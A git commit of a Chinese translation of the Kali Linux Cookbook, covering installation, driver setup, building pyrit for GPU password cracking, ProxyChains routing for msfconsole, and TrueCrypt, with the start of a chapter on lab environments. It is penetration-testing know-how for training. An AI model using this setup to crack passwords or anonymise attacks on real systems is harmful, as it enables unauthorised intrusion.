提交 8b68c668 编写于 作者: W wizardforcel

init

上级
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
env/
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# dotenv
.env
# virtualenv
.venv
venv/
ENV/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.DS_Store
# gitbook
_book
# node.js
node_modules
# windows
Thumbs.db
# word
~$*.docx
~$*.doc
---
permalink: /404.html
---
<script>window.location.href = '/';</script>
sec.apachecn.org
\ No newline at end of file
# ApacheCN 网络安全译文集
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
>
> 欢迎任何人参与和完善:一个人可以走的很快,但是一群人却可以走的更远。
* [在线阅读](https://ds.apachecn.org)
* [ApacheCN 面试求职交流群 724187166](https://jq.qq.com/?_wv=1027&k=54ujcL3)
* [ApacheCN 学习资源](http://www.apachecn.org/)
## 目录
## 贡献指南
本项目需要校对,欢迎大家提交 Pull Request。
> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科)
## 联系方式
### 负责人
* [飞龙](https://github.com/wizardforcel): 562826179
### 其他
* 在我们的 [apachecn/apachecn-sec-zh](https://github.com/apachecn/apachecn-sec-zh) github 上提 issue.
* 发邮件到 Email: `apachecn@163.com`.
* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可.
## 赞助我们
![](http://data.apachecn.org/img/about/donate.jpg)
# Kali Linux 秘籍 中文版
原书:[Kali Linux Cookbook](https://www.packtpub.com/networking-and-servers/kali-linux-cookbook)
译者:[飞龙](https://github.com/wizardforcel)
+ [在线阅读](https://www.gitbook.com/book/wizardforcel/kali-linux-cookbook/details)
+ [PDF格式](https://www.gitbook.com/download/pdf/book/wizardforcel/kali-linux-cookbook)
+ [EPUB格式](https://www.gitbook.com/download/epub/book/wizardforcel/kali-linux-cookbook)
+ [MOBI格式](https://www.gitbook.com/download/mobi/book/wizardforcel/kali-linux-cookbook)
+ [Github](https://github.com/wizardforcel/kali-linux-cookbook-zh)
+ [Git@OSC](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh)
## 赞助我
![](img/qr_alipay.png)
## 协议
[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
+ [Kali Linux 秘籍 中文版](README.md)
+ [第一章 安装和启动Kali](ch1.md)
+ [第二章 定制 Kali Linux](ch2.md)
+ [第三章 高级测试环境](ch3.md)
+ [第四章 信息收集](ch4.md)
+ [第五章 漏洞评估](ch5.md)
+ [第六章 漏洞利用](ch6.md)
+ [第七章 权限提升](ch7.md)
+ [第八章 密码攻击](ch8.md)
+ [第九章 无线攻击](ch9.md)
\ No newline at end of file
# 第一章 安装和启动Kali
> 作者:Willie L. Pritchett, David De Smet
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 简介
Kali Linux,简称Kali,是用于安全攻击的最新Linux发行版。它是BackTrack Linux的后继者。不像多数Linux发行版那样,Kali Linux用于渗透测试。渗透测试是一种通过模拟攻击评估计算机系统或网络安全性的方法。在整本书中,我们将会探索一些Kali Linux所提供的工具。
这一章涉及到Kali Linux在不同场景下的的安装和启动,从插入Kali Linux DVD到配置网络。
对于本书中所有秘籍,我们都要使用以64位GNOME作为窗口管理器(WM)和架构的Kali Linux([http://www.Kali.org/downloads/](http://www.Kali.org/downloads/))。然而,使用KDE作为WM的用法并不在这本书里涉及,你应该能够遵循这些秘籍,并没有多少问题。
## 1.1 安装到硬盘
硬盘的安装是最基本的操作之一。这个任务需要我们不带DVD运行Kali来完成。
> 执行这个秘籍中的步骤会抹掉你的硬盘,并把Kali标记为你电脑上的主操作系统。
### 准备
在解释整个过程之前,需要满足以下要求:
+ 为KaliLinux的安装准备最小8GB的空闲磁盘空间(然而我们推荐至少25GB来存放这本书中额外的程序和生成的词汇表)。
+ 最小512MB的内存。
+[KaliLinux的下载页面](http://www.kali.org/downloads/)下载Kali Linux。
让我们开始安装吧。
### 操作步骤
1. 在光驱中插入Kali Linux Live DVD来开始。你会看到它的启动菜单。选择`Graphical install`(图形化安装)。
![](img/1-1-1.jpg)
2. 选择语言。这里我们选择`English`(英语)。
![](img/1-1-2.jpg)
3. 选择你的位置。这里我们选择`United States`(美国)。
![](img/1-1-3.jpg)
4. 选择你的键盘配置。这里我们选择`American English`(美国英语)。
![](img/1-1-4.jpg)
5. 下面要完成网络服务配置。输入主机名称,这里我们输入`Kali`
![](img/1-1-5.jpg)
6. 下面,我们需要输入域名。这里我们输入`kali.secureworks. com`
![](img/1-1-6.jpg)
7. 现在你会看到输入root密码的地方,需要输入两次。
![](img/1-1-7.jpg)
8. 选择你的时区,这里我们选择`Eastern`(东方)。
![](img/1-1-8.jpg)
9. 我们现在可以选择磁盘分区方式。你会看到四个选项。选择`Guided - use entire disk`,这会便于你分区。
![](img/1-1-9.jpg)
0. 在这一步,你需要知道你的磁盘会被抹掉,点击`Continue`(继续)。
![](img/1-1-10.jpg)
1. 下面,你有机会选择三个分区方式之一:所有文件放在一个分区、分离`/home`、以及分离`/home/user/var``/tmp`。考虑到Kali用于渗透测试,分区不需要也不必要(即使这对于你的桌面主操作系统是个好主意)。这里我们选择` All files in one partition`(所有文件放在一个分区)并点击`Continue`(继续)。
![](img/1-1-11.jpg)
2. 一旦你看到了一个界面,让你知道将要对你磁盘执行的改动,选择`Yes`之后点击`Continue`(继续)。要注意这是撤销抹掉你磁盘所有数据的最后机会。
![](img/1-1-12.jpg)
3. 下面,你会被询问是否希望链接到网络镜像。网络镜像允许你接收到Kali的更新。这里我们选择`Yes`之后点击`Continue`(继续)。
![](img/1-1-13.jpg)
4. 你可以通过点击`Continue`(继续)跳过HTTP代理界面。
![](img/1-1-14.jpg)
5. 最后,你会被询问来安装GRUB启动器到主引导记录(MBR)中。选择`Yes`之后点击`Continue`(继续)。
![](img/1-1-15.jpg)
6. 祝贺你现在完成了Kali Linux的安装!点击`Continue`,系统会重启并展示登录界面。
![](img/1-1-16.jpg)
## 1.2 安装到U盘或持久存储器中
Kali Linux U盘能够持久化储存系统设置,以及在U盘中永久升级和安装新的软件包,并让我们将个人定制的Kali Linux随时带在身上。
多亏了Win32 Disk Imager,我们可以为大多数Linux发行版创建可启动的U盘,包括持久化存储的Kali Linux。
### 准备
需要下列工具和准备工作以继续:
+ FAT32格式的U盘,最小8GB。
+ Kali Linux ISO镜像。
+ [Win32 Disk Imager](http://sourceforge.net/projects/win32diskimager/)
+ 你可以从[这里](http://www.kali.org/downloads/)下载Kali。
### 操作步骤
让我们开始讲Kali Linux安装到U盘:
1. 插入格式化且可写入的U盘:
![](img/1-2-1.jpg)
2. 启动 Win32 Disk Imager。
3. 点击目录图表,选择Kali Linux DVD ISO镜像的位置:
![](img/1-2-2.jpg)
4. 确保`Space used to preserve files across reboots`(用于在启动中保存文件的空间)设置为4096。
![](img/1-2-3.jpg)
5. 选择我们的U盘,并点击OK按钮来开始创建可启动的U盘:
6. 当它解压并复制DVD的文件到U盘,以及安装bootloader时,这个过程会花一些时间来完成。
7. 安装完成之后,我们就可以重启电脑,从新创建的Kali Linux U盘以持久存储器来启动了。
![](img/1-2-4.jpg)
## 1.3 在 VirtualBox 中安装
这个秘籍会引导你使用知名的开源虚拟机软件VirtualBox,将Kali Linux安装在一个完全分离的访客操作系统中,它在你的宿主操作系统中。
### 准备
需要满足下列要求:
+ [VirtualBox](https://www.virtualbox.org/wiki/Downloads) 的最新版本(本书编写时为4.2.16)。
+ Kali Linux ISO 镜像的副本。你可以在[这里](http://www. Kali.org/downloads/)下载。
### 操作步骤
让我们在VirtualBox中安装Kali Linux:
1. 运行VirtualBox,点击`New`(新建)来启动虚拟机向导:
![](img/1-3-1.jpg)
2. 点击`Next`(下一步)按钮,键入虚拟机的名称,并选择OS类型和版本。这里我们选择Linux类型和Ubuntu(64位)作为版本。点击`Next`按钮来继续:
![](img/1-3-2.jpg)
3. 选择分配给虚拟机的基本内存(RAM)的总数。我们打算使用默认值,点击`Next`
4. 为新的虚拟机创建新的虚拟硬盘,点击`Next`按钮。
![](img/1-3-3.jpg)
5. 一个新的向导窗口将会打开,保留默认的VDI文件类型,因为我们并不需要使用其它的虚拟机软件。
6. 我们会保留默认选项作为虚拟机磁盘存储的详情。点击`Next`来继续:
7. 设置虚拟机磁盘文件类型和大小:
![](img/1-3-4.jpg)
8. 检查设置是否正确,之后点击`Create`(创建)按钮来开始虚拟磁盘文件的创建。
9. 我们将会返回前面的向导,带有虚拟机参数的概览。点击`Create`以结束:
![](img/1-3-5.jpg)
0. 新的虚拟机创建之后,我们将要安装Kali Linux。
1. 在VirtualBox的主窗口,高亮Kali Linux,之后点击`Settings`(设置)按钮:
![](img/1-3-6.jpg)
2. 现在基本的安装步骤就完成了,我们需要让你将下载的ISO文件用于虚拟光盘。这会为你节省烧录物理DVD的时间来完成这个安装。在`Settings`界面中,点击`Storage`(存储器)菜单选项:
![](img/1-3-7.jpg)
3. 下一步,在`Storage Tree`(存储器树形图)下面,高亮`Empty`(空)磁盘图标,它在`IDE Controller`(IDE控制器)的下面。这户选择我们的虚拟CD/DVD ROM驱动器。在屏幕的最右边,在
`Attributes`底下,点击光盘图表。在上面弹出的菜单上选择你的`Choose a virtual CD/DVD disc file...`(Kali Linux ISO CD/DVD光盘文件)选项,并找到你的ISO。一旦你完成了这些步骤,点击OK按钮。
![](img/1-3-8.jpg)
4. 点击Start(开始)按钮,之后点击里面的新窗口来进行安装。安装步骤在1.1节中已经包括了。
> 安装VirtualBox 扩展包也允许我们通过添加USB2.0(EHCI)、VirtualBox RDP和 Intel PXE boot ROM的支持,来扩展虚拟机的功能。
## 1.4 安装 VMware Tools
这个秘籍中,我们会展示如何使用 VMware Tools将Kali Linux安装在虚拟机中。
### 准备
需要满足下列要求:
+ 已经安装好的Kali Linux VMware 虚拟机。
+ 网络连接。
### 操作步骤
让我们开始将Kali Linux 安装到 VMware上:
1. 打开你的虚拟机的访客操作系统并连接到互联网,之后打开`Terminal`(终端)窗口,并键入下列命令来准备核心资源:
```
prepare-kernel-sources
```
> 这些命令假设你使用Linux或者Mac OS。你不需要在Windows下执行它们。
2. 在VMware Workstaion的菜单栏上,访问`VM | Install VMware Tools…`
![](img/1-4-1.jpg)
3. 将VMware Tools安装工具复制到临时目录下,之后将当前位置改为目标目录:
```
cp /media/VMware\ Tools/VMwareTools-8.8.2-590212.tar.gz /tmp/; cd /tmp
```
> 根据你的VMware Tools来替换文件名:`VMwareTools-<version>-<build>.tar.gz`。
4. 使用以下命令解压并安装:
```
tar zxpf VMwareTools-8.8.2-590212.tar.gz
```
5. 进入VMware Tools的目录中,之后运行安装工具:
```
cd vmware-tools-distrib/
./vmware-install.pl
```
6. 按下回车键来接受每个配置询问的默认值;`vmware-config-tools.pl`脚本同上。
7. 最后重启系统,工作就完成了。
### 工作原理
在第一步中,我们准备好了核心资源。之后,我们向访客操作系统插入了虚拟的 VMware Tools CD 。接着,我们创建了挂载点,并挂载虚拟CD。我们在临时目录中复制并解压了安装工具。最后我们保留默认配置来运行安装工具。
## 1.5 修复启动画面
我们首次启动新安装的Kali Linux系统时,会注意到启动画面消失了。为了手动修复它,我们需要解压`Initrd`,修改它,之后将它再次压缩。幸运的是,有一个由 Mati Aharoni(也称为“muts”,Kali Linux的创造者)编写的自动化bash脚本使这件事变得容易。
### 操作步骤
键入下列命令并且按下回车键来修复消失的启动画面:
```
fix-splash
```
## 1.6 启动网络服务
Kali Linux 自带了多种网络服务,它们在多种情况下可能很实用,并且默认是禁用的。这个秘籍中,我们会涉及到通过多种方法设置和启动每个服务的步骤。
### 准备
需要满足下列要求以继续:
+ 带有有效IP地址的网络连接。
### 操作步骤
让我们开始启动默认服务:
1. 启动Apache服务器:
```
service apache2 start
```
我们可以通过浏览本地地址来验证服务器是否打开。
2. 为了启动SSH服务,首次需要生成SSH密钥:
```
sshd-generate
```
3. 启动SSH服务器:
```
service ssh start
```
4. 使用`netstat`命令来验证服务器是否开启并正在监听:
```
netstat -tpan | grep 22
```
5. 启动FTP服务器:
```
service pure-ftpd start
```
6. 使用下列命令来验证FTP服务器:
```
netstat -ant | grep 21
```
> 你也可以使用` ps-ef | grep 21 `命令。
7. 使用下列命令来停止服务:
```
service <servicename> stop
```
其中`<servicename>`代表我们希望停止的网络服务,例如:
```
service apache2 stop
```
8. 使用下列命令来在开机时启用服务:
```
update-rc.d –f <servicename> defaults
```
其中`<servicename>`代表打算启动的网络服务,例如:
```
update-rc.d –f ssh defaults
```
> 你也可以在Kali Linux中通过`Services`(服务)菜单来完成它。从`Start`(开始)菜单开始,访问`Kali Linux | Services`。
## 1.7 设置无线网络
最后,我们来到了这一章的最后一个秘籍。这个秘籍中,我们会了解在安全状态下的无线网络连接步骤,通过Wicd Network Manager和提供加密的细节。无线网络的设置允许我们以无线方式使用Kali Linux。在真实的、合乎道德的渗透测试中,我们可以不依赖于网线而自由地使用所有常规桌面。
### 操作步骤
让我们开始设置无线网络:
1. 从桌面启动网络管理器,通过点击`Applications`(应用)菜单并且访问`Internet | Wicd Network Manager`,或者在终端窗口中键入下列命令:
```
wicd-gtk --no-tray
```
2. Wicd Network Manager会打开,并带有可用网络的列表:
![](img/1-7-1.jpg)
3. 点击`Properties`(属性)按钮来设定网络细节。完成之后点击OK。
![](img/1-7-2.jpg)
4. 最后,点击`Connect`(连接)按钮,就完成了。
### 工作原理
这个秘籍中,我们总结了无线网络的设置方式。这个秘籍以启动网络管理器,和连接到我们的路由器作为开始。
# 第二章 定制 Kali Linux
> 作者:Willie L. Pritchett, David De Smet
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
这一章会向你介绍Kali的定制,便于你更好地利用它。我们会涉及到ATI和英伟达GPU技术的安装和配置,以及后面章节所需的额外工具。基于ATI和英伟达GPU的显卡允许我们使用它们的图像处理单元(GPU)来执行与CPU截然不同的操作。我们会以ProxyChains的安装和数字信息的加密来结束这一章。
## 2.1 准备内核头文件
有时我们需要使用所需的内核头文件来编译代码。内核头文件是Linux内核的源文件。这个秘籍中,我们会解释准备内核头文件所需的步骤,便于以后使用。
### 准备
完成这个秘籍需要网络连接。
### 操作步骤
让我们开始准备内核头文件:
1. 我们首先通过执行下列命令升级发行版作为开始:
```
apt-get update
```
![](img/2-1-1.jpg)
2. 下面,我们需要再次使用`apt-get`来准备内核头文件,执行下列命令:
```
apt-get install linux-headers - `uname –r`
```
![](img/2-1-2.jpg)
3. 复制下列目录以及其中的全部内容:
```
cd /usr/src/linux
cp -rf include/generated/* include/linux/
```
4. 我们现在已准备好编译需要内核头文件的代码。
## 2.2 安装 Broadcom 驱动
在这个秘籍中,我们将要安装 Broadcom 官方的Linux混合无线驱动。 使用Broadcom 无线USB适配器可以让我们在Kali上连接我们的无线USB接入点。对于这本书的其余秘籍,我们假设Broadcom 无线驱动已经安装。
### 准备
完成这个秘籍需要网络连接。
### 操作步骤
让我们开始安装 Broadcom 驱动:
1. 打开终端窗口,从[http://www.broadcom.com/support/802.11/linux_sta.php](http://www.broadcom.com/support/802.11/linux_sta.php)下载合适的Broadcom 驱动:
```
cd /tmp/
wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc_ x86_64-v5_100_82_112.tar.gz
```
![](img/2-2-1.jpg)
2. 使用下列命令解压下载的驱动:
```
mkdir broadcom
tar xvfz hybrid-portsrc_x86_64-v5_100_82_112.tar.gz –C /tmp/ broadcom
```
3. 修改`wl_cfg80211.c`文件,由于5.100.82.112版本中有个bug,会阻止小于2.6.39内核版本上的编译:
```
vim /tmp/broadcom/src/wl/sys/wl_cfg80211.c
```
观察代码段的1814行:
```c
#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 39)
```
将其改为:
```c
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 39)
```
并保存修改。
4. 编译代码:
```
make clean
make
make install
```
5. 更新依赖:
```
depmod -a
```
6. 通过下列命令找到加载的模块:
```
lsmod | grep b43\|ssb\|bcma
```
7. 通过执行下列命令移除发现的模块:
```
rmmod <module>b43
```
其中`<module>`应为`b43`、`ssb`或`bcma`。
8. 将模块加入黑名单,防止它们在系统启动中加载:
```
echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf
```
其中`<module>`应为`b43`、`ssb`或`wl`。
9. 最后,将新模块添加到Linux内核中,来使它成为启动进程的一部分:
```
modprobe wl
```
## 2.3 安装和配置ATI显卡驱动
这个秘籍中,我们会详细讲解ATI显卡驱动的安装和配置,在此之前需要AMD Accelerated Parallel Processing (APP) SDK、OepnCL和CAL++。我们可以利用 ATI Stream技术的优势来运行计算密集型任务 -- 它们通常运行在CPU上 -- 使它们更快更高效地执行。更多ATI Stream技术相关的详细信息,请访问[www.amd.com/stream]( www.amd.com/stream)
### 准备
需要网络连接来完成这个秘籍。同时在开始这个秘籍之前需要准备内核头文件,它在第一节有所涉及。
### 操作步骤
让我们开始安装和配置ATI驱动:
1. 下载系统所需的ATI显示驱动:
```
cd /tmp/
wget http://www2.ati.com/drivers/linux/amd-driver-installer-121-x86.x86_64.run
```
我们也可以从下面的网址下载显示驱动:[http://support. amd.com/us/gpudownload/Pages/index.aspx](http://support. amd.com/us/gpudownload/Pages/index.aspx)。
![](img/2-3-1.jpg)
2. 通过键入下列命令来开始安装:
```
sh amd-driver-installer-12-1-x86.x86_64.run
```
![](img/2-3-2.jpg)
3. 在安装完成之后,重启你的系统来使改变生效,并且避免不稳定。
4. 为之后的步骤安装一些依赖:
```
apt-get install libroot-python-dev libboost-python-dev libboost1.40-all-dev cmake
```
5. 下载并解压 AMD APP SDK,根据你的CPU架构:
```
wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.6-lnx64.tgz
mkdir AMD-APP-SDK-v2.6-lnx64
tar zxvf AMD-APP-SDK-v2.6-lnx64.tgz –C /tmp/AMD-APP-SDK-v2.6-lnx64
cd AMD-APP-SDK-v2.6-lnx64
```
6. 通过下列命令安装AMD APP SDK:
```
sh Install-AMD-APP.sh
```
7.`.bashsrc`文件中设置ATI Stream的路径:
```
echo export ATISTREAMSDKROOT=/opt/AMDAPP/ >> ~/.bashrc
source ~/.bashrc
```
8. 下载并编译`calpp`
```
cd /tmp/
svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp
cd calpp/trunk
cmake .
make
make install
```
9. 下载并编译`pyrit`
```
cd /tmp/
svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src
cd pyrit_src/pyrit
python setup.py build
python setup.py install
```
0. 构建并安装OpenCL:
```
cd /tmp/pyrit_src/cpyrit_opencl
python setup.py build
python setup.py install\
```
1.` cpyrit_calpp `的安装做一些小修改:
```
cd /tmp/pyrit_source/cpyrit_calpp
vi setup.py
```
找到下面这一行:
```py
VERSION = '0.4.0-dev'
```
把它改成:
```py
VERSION = '0.4.1-dev'
```
之后,找到下面这一行:
```py
CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include'))
```
把它改成:
```py
CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include/CAL'))
```
2. 最后将ATI GPU模块添加到pyrit:
```
python setup.py build
python setup.py install
```
> 为了展示可用的CAL++设备和CPU的核数,我们需要键入下列命令:
> ```
> pyrit list_cores
> ```
> 为了进行跑分,我们只需要键入:
> ```
> pyrit benchmark
> ```
## 2.4 安装和配置英伟达显卡驱动
这个秘籍中,我们会拥抱CUDA,英伟达的并行计算架构。在CUDA工具包的安装之后,首先会安装英伟达开发者显示驱动。通过使用GPU的威力,这会带来计算性能的戏剧性提升,它们通常用于一些类似密码破解的场合。
> 有关CUDA的更多信息,请浏览[他们的官方网站](http://www.nvidia.com/object/cuda_home_new.html)。
### 准备
需要网络连接来完成这个秘籍。
同时需要在开始之前准备内核头文件,这在第一节中有所涉及。
为了完成英伟达驱动的安装,需要关闭X会话。
### 操作步骤
让我们开始安装和配置英伟达显卡驱动:
1. 下载英伟达开发者显示驱动,根据你的CPU架构:
```
cd /tmp/
wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/ drivers/NVIDIA-Linux-x86_64-285.05.33.run
```
![](img/2-4-1.jpg)
2. 安装驱动:
```
chmod +x NVIDIA-Linux-x86_64-285.05.33.run
./NVIDIA-Linux-x86_64-285.05.33.run –kernel-source-path='/usr/src/ linux'
```
3. 下载CUDA工具包:
```
wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/ toolkit/cudatoolkit_4.1.28_linux_64_ubuntu11.04.run
```
4. 安装CUDA工具包到`/opt`
```
chmod +x cudatoolkit_4.1.28_linux_64_ubuntu11.04.run
./cudatoolkit_4.1.28_linux_64_ubuntu11.04.runConfigure the environment variables required for nvcc to work:
echo PATH=$PATH:/opt/cuda/bin >> ~/.bashrc
echo LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/cuda/lib >> ~/.bashrc
echo export PATH >> ~/.bashrc
echo export LD_LIBRARY_PATH >> ~/.bashrc
```
5. 运行以下命令来使变量生效:
```
source ~/.bashrc
ldconfig
```
6. 安装`pyrit`的依赖:
```
apt-get install libssl-dev python-dev python-scapy
```
7. 下载并安装GPU增效工具`pyrit`
```
svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src
cd pyrit_src/pyrit
python setup.py build
python setup.py install
```
8. 最后,将英伟达GPU模块添加到`pyrit`
```
cd /tmp/pyrit_src/cpyrit_cuda
python setup.py
build python setup.py install
```
> 为了验证`nvcc`是否正确安装,我们需要键入下列命令:
> ```
> nvcc -V
> ```
> 为了进行跑分,我们只需要键入下列命令:
> ```
> pyrit benchmark
> ```
## 2.5 升级和配置额外的安全工具
这个秘籍中,我们会涉及到升级Kali,以及配置一些额外的工具,它们对于之后的章节和秘籍十分实用。由于Kali的包在发布之间会不断升级,你很快就会发现比起之前在你的DVD中下载好的工具,又提供了一系列新的工具。我们会以升级来开始,之后获得Nessus的激活码,并以安装Squid来结束。
### 操作步骤
让我们开始进行升级,以及配置额外的安全工具。
1. 使用仓库中最新的修改来更新本地的包索引:
```
apt-get update
```
2. 升级现有的包:
```
apt-get upgrade
```
3. 升级到最新版本(如果可用的话):
```
apt-get dist-upgrade
```
4. 获得Nessus的激活码,通过在[这里]( http://www.nessus.org/ products/nessus/nessus-plugins/obtain-an-activation-code)注册。
5. 通过执行下列命令来激活Nessus:
```
/opt/nessus/bin/nessus-fetch --register A60F-XXXX-XXXX-XXXX-0006
```
其中`A60F-XXXX-XXXX-XXXX-0006`应为你的激活码。
6. 为Nessus Web界面创建账户:
```
/opt/nessus/sbin/nessus-adduser
```
7. 为了启动Nessus服务器,我们只需要执行下列命令:
```
/etc/init.d/nessusd start
```
8. 安装Squid:
```
apt-get install squid3
```
9. 阻止Squid在启动时自动运行:
```
update-rc.d -f squid3 remove
```
> 为了在仓库中找到特定的包,我们可以在`apt-get update`之后使用下列命令:
> ```
> apt-cache search <keyword>
> ```
> 其中`<keyword>`是包名称或者正则表达式。
## 2.6 配置ProxyChains
这个章节中,我们会强制指定应用的网络连接使用用户定义的代理列表,来打破接受者和发送者之间的直接连接。
### 操作步骤
1. 打开ProxyChains的配置文件:
```
vim /etc/proxychains.conf
```
2. 解除我们打算使用的链接类型的注释,这里是`dynamic_chain`
![](img/2-6-1.jpg)
3. 向列表中添加一些代理服务器:
![](img/2-6-2.jpg)
4. 使用我们的链式代理来解析目标主机:
```
proxyresolv www.targethost.com
```
5. 现在可以在我们打算使用的应用上运行ProxyChains,例如`msfconsole`
```
proxychains msfconsole
```
## 2.7 目录加密
这一章的最后一个秘籍关于信息隐私。我们会使用TrueCrypt通过密钥来隐藏重要和私密的数字信息,远离公众的眼睛。
### 操作步骤
1. 通过访问`Applications Menu | Kali | Forensics | Digital Anti Forensics | install truecrypt`来安装TrueCrypt。
![](img/2-7-1.jpg)
点击`Install TrueCrypt`(安装TrueCrypt)并且遵循屏幕上的指导。
2.`Applications Menu | Kali Linux | Forensics | Digital Anti Forensics | truecrypt`运行TrueCrypt,你会看到下面的窗口:
![](img/2-7-2.jpg)
3. 点击`Create Volume`(新建卷)来启动`TrueCrypt Volume Creation Wizard`(TrueCrypt卷创建向导)。
4. 保留默认选项并点击`Next`
5. 选择`Standard TrueCrypt`(标准TrueCrypt)模式并点击`Next`
6. 点击`Select File…`(选择文件)按钮并为新的TrueCrypt卷指定名称和路径。完成后点击`Save`(保存)。
![](img/2-7-3.jpg)
7. 点击`Next`按钮并选择打算使用的加密和哈希算法。
8. 在下个屏幕中,我们会为容器指定空间总量。
9. 现在我们需要为我们的卷键入密码。点击`Next`
0. 选择文件系统类型。
1. 按需选择`Cross-Platform Support`(跨平台支持)。
2. 在下个屏幕中,向导会让我们在窗口内移动鼠标,来增加加密密钥的密码强度。完成后点击`Format`(格式化)按钮。
3. 格式化会开始,完成时TrueCrypt的卷就创建好了。按下`OK``Exit`(退出)。
4. 我们现在回到TrupCrypt窗口。
5. 从列表中选择一个`Slot`(槽)来解密我们的卷,点击`Select File…`(选择文件),并打开我们创建的卷。
6. 点击`Mount`(挂载)并键入我们的密码,完成后点击`OK`
![](img/2-7-4.jpg)
7. 我们现在可以通过在槽上双击或通过挂载目录来访问卷,以及在里面保存文件。当我们完成之后,只需要点击`Dismount All`(解除所有挂载)。
### 工作原理
这个秘籍中,我们配置了 Truecrypt,创建了保护卷,之后挂载了它。这是个用于保护数据安全性的实用工具。
# 第三章 高级测试环境
> 作者:Willie L. Pritchett, David De Smet
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 简介
既然我们已经了解了 Kali Linux 所包含的工具,现在我们要调查一些真实世界的场景。我们进行的许多攻击都有意在有漏洞的软件和系统上执行。但是,当你使用 Kali 攻击一个系统时,它不可能像我们当前的测试平台那样没有防护。
这一章中,我们会探索一些技巧,来建立起一些真实的测试环境。在当前的信息技术水平中,多数公司都使用平台即服务(PAAS)解决方案,云服务器主机,或者使用小型网络,它们由桌面、服务器和防火墙(单独)或防火墙和路由的组合组成。我们会建立这些环境,之后对它们发起攻击。
我们所有攻击的目的都是获取 root 级别的访问。
## 3.1 熟悉 VirtualBox
在第一章(安装和启动Kali)中,我们简要谈多了 VirtualBox 的用法,便于在虚拟环境中安装 Kali Linux。VirtualBox 是 Oracle 的现有产品,并且作为应用运行在宿主操作系统上。它通过创建虚拟环境允许操作系统安装并运行。这个工具极其重要,可以提供靶机来测试你的 Kali Linux 技巧。
这一章中,我们会极大依赖VirtualBox,并且会修改它的配置来得到我们希望的网络配置类型。我们将这一节作为每个场景单元的起点,所以关键要熟悉这些步骤。
### 准备
需要因特网或内部网络的链接来完成这个模块。
### 操作步骤
让我们通过打开VirtualBox 来开始:
1. 启动VirtualBox ,并点击`New`来开启虚拟机向导:
![](img/3-1-1.jpg)
2. 点击`Next`按钮,输入虚拟机的名称,并选择 OS 类型和版本:这一章中我们会使用 Linux、Solaris 或 Windows 操作系统。选择合适的操作系统并点击`Next`按钮来继续:
![](img/3-1-2.jpg)
3. 选择基本内存(RAM)的总量,它们会分配给虚拟机。我们使用默认值。点击`Next`
4. 为新的虚拟机创建新的虚拟硬盘,点击`Next`按钮。
![](img/3-1-3.jpg)
5. 新的向导窗口会打开。保留默认的 VDI 文件类型,因为我们不打算使用其它可视化软件。
6. 我们会在虚拟磁盘储存上保留默认选项。点击`Next`来继续。
7. 设置虚拟磁盘文件位置和大小:
![](img/3-1-4.jpg)
8. 检查设置是否正确,并且点击`Create`按钮来开始创建虚拟磁盘文件。
9. 我们现在回到前一个向导,展示了虚拟机参数的汇总。点击`Create`来结束:
![](img/3-1-5.jpg)
0. 创建新的虚拟机之后,我们准备好了安装操作系统,它刚刚在 VirtualBox中配置好。
1. 在VirtualBox的主窗口中,选中我们刚刚创建的操作系统名称,之后点击`Settings`按钮:
![](img/3-1-6.jpg)
2. 既然基本的安装步骤已经完成了,我们现在使用下载的 ISO 文件作为虚拟光盘。这会节省你烧录物理 DVD 来完成安装的时间。在`Settings`界面,点击`Storage`菜单项:
![](img/3-1-7.jpg)
3. 之后,在`Storage Tree`下面,选中`Controller: IDE`下面的`Empty`光盘图标。这会选择我们的“虚拟” CD/DVD ROM 驱动。在屏幕的右边,`Attribute`下面,点击光盘图标。在弹出的菜单中,从列表中选择你的 ISO 文件。如果 ISO 文件没有出现,选择`Choose a virtual CD/DVD disc file... `选项并找到你的 ISO。一旦你完成了这些步骤,点击`OK`按钮。
![](img/3-1-8.jpg)
